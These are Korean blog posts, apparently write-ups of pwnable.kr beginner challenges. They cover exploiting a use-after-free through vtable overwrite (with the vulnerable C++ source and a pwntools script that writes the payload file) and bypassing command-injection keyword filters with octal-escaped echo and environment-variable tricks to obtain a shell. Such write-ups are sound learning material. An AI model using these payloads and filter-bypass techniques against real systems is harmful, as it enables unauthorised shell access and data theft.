uaf... Use After Free 취약점이다.


이 취약점은 malloc()이나 new로 할당받은 메모리를 해제한 후, 나중에 같은 크기만큼 할당받을 때, 같은 주소를 할당받아, 내용을 바꿀 수 있는 취약점이다.



#include <fcntl.h>

#include <iostream> 

#include <cstring>

#include <cstdlib>

#include <unistd.h>

using namespace std;


class Human{

private:

virtual void give_shell(){

system("/bin/sh");

}

protected:

int age;

string name;

public:

virtual void introduce(){

cout << "My name is " << name << endl;

cout << "I am " << age << " years old" << endl;

}

};


class Man: public Human{

public:

Man(string name, int age){

this->name = name;

this->age = age;

        }

        virtual void introduce(){

Human::introduce();

                cout << "I am a nice guy!" << endl;

        }

};


class Woman: public Human{

public:

        Woman(string name, int age){

                this->name = name;

                this->age = age;

        }

        virtual void introduce(){

                Human::introduce();

                cout << "I am a cute girl!" << endl;

        }

};


int main(int argc, char* argv[]){

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);

size_t len;

char* data;

unsigned int op;

while(1){

cout << "1. use\n2. after\n3. free\n";

cin >> op;


switch(op){

case 1:

m->introduce();

w->introduce();

break;

case 2:

len = atoi(argv[1]);

data = new char[len];

read(open(argv[2], O_RDONLY), data, len);

cout << "your data is allocated" << endl;

break;

case 3:

delete m;

delete w;

break;

default:

break;

}

}


return 0;

}



해당 코드를 보면 Human이라는 Class를 new로 할당받는다.

Human* m = new Man("Jack", 25);

Human* w = new Woman("Jill", 21);



그 후 입력을 받아 switch를 돌린다.


case 1:

m의 introduce()를 실행하고

w의 introduce()를 실행한다.


case 2:

argv[1]만큼 new로 할당받고, argv[2]의 파일을 열어 data에 len만큼 복사해 넣는다.


case 3:

m과 w를 해제한다.



우선 gdb에서 메모리를 보자.



heap으로 heap을 보니 vtable for Man+16이 보인다.


vtable은 cpp에서 virtual로 함수를 선언할때 생긴다. (자세한건 구글)


이 주소를 참조해 보자



주소들이 나오는데 




각각 give_shell 함수와 introduce함수인 것을 볼 수 있다.


즉 vtable for Man+16값이 fd에 들어있을 때 introduce가 실행되는 것 같다.


이 값에서 8을 뺴서(64bit파일이므로) 넣어주면 give_shell()함수가 실행될 것이다.


size가 0x21이므로 


argv[1] = 33, argv[2] = ./abcd로 하고 실행해 보았다.



from pwn import *


f = open('./abcd', 'w')


f.write(p64(0x0000000000401568))


f.write(p64(0x0000000000000021))


f.write(p64(0x0000000001ad3c38))


f.write(p64(0x0000000000000019))



f.close()



python을 사용해서 파일을 만들고 실행 했다.



보니 원래 들어가야 할 0x21이 아니라 0x31 에 들어간다. 0x21은 분명히 33인데... 그래서 size를 바꿔가면서 실행해보았다.



그리고 23에서 쉘이 뚫렸다.



이제 해당 코드를 pwnable서버로 옮겼다.



CLEAR

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,



cmd1보다 filter이 더 까다로워졌다. 

또, delete_env()를 사용해 환경변수도 막는다.


cmd1처럼 $[환경변수] 를 사용해서 풀 수는 없을 것이다.



또, PATH를 날려버리니 cat 도 쓸 수 없다. 아니, /bin 에 있는 프로그램, /usr/bin 에 있는 프로그램이 전부 사용 불가하다.


내가 아는 출력 명령어가 cat과 echo밖에 없어서 echo를 좀 더 알아봤는데 echo는 파일을 출력할 수는 없는 것 같았다. 


대신, [ https://www.thinkit.or.kr/linux/entry/echo-%EB%82%B4%EB%B6%80%EB%AA%85%EB%A0%B9%EC%96%B4 ]이 사이트에서 


이 표를 볼 수 있었다.


이 중에 내 눈을 끈 것은 14번인데, \nnn을 통해 ASCII코드를 8진수로 넣어줄 수 있었다.


혹시나 이를 사용해서 넣어주면 filter에 걸리지 않지 않을까 싶어서 /를 echo로 출력해 보았다.


cmd1에서 사용했던 대로

$(변수) 를 사용했는데


이 경우에는


$(echo "\57") 이다. (/는 ASCII코드 OCT로 57이다)


따라서 페이로드는 $(echo "\57")bin$(echo "\57")sh

였다.



쉘이 따졌는데 PATH가 없어서 그런지 명령어들이 잘 실행되지 않아서 절대경로로 넣어주니 제대로 실행 되는걸 확인했다.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddler's Bottle] cmd1  (0) 2018.05.29
[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,


이번 코드는 system( argv[1] ); 을 사용해 인자를 실행시켜 주지만, filter함수에서 flag, sh, tmp 가 포함된 경우엔 return 0; 을 실행해 프로그램이 종료되도록 되어있다.


나는 $[환경변수]를 사용하면 해당 환경변수의 내용이 출력된다고 알고있었다.

그래서 환경변수를 만들고,


해당 변수에 /bin/cat flag 를 넣는다.



./cmd1 '$[환경변수명]'을 사용해서 풀었다.



'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
[Toddler's Bottle] lotto  (0) 2018.05.29
[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
블로그 이미지

천재보다는 범재

,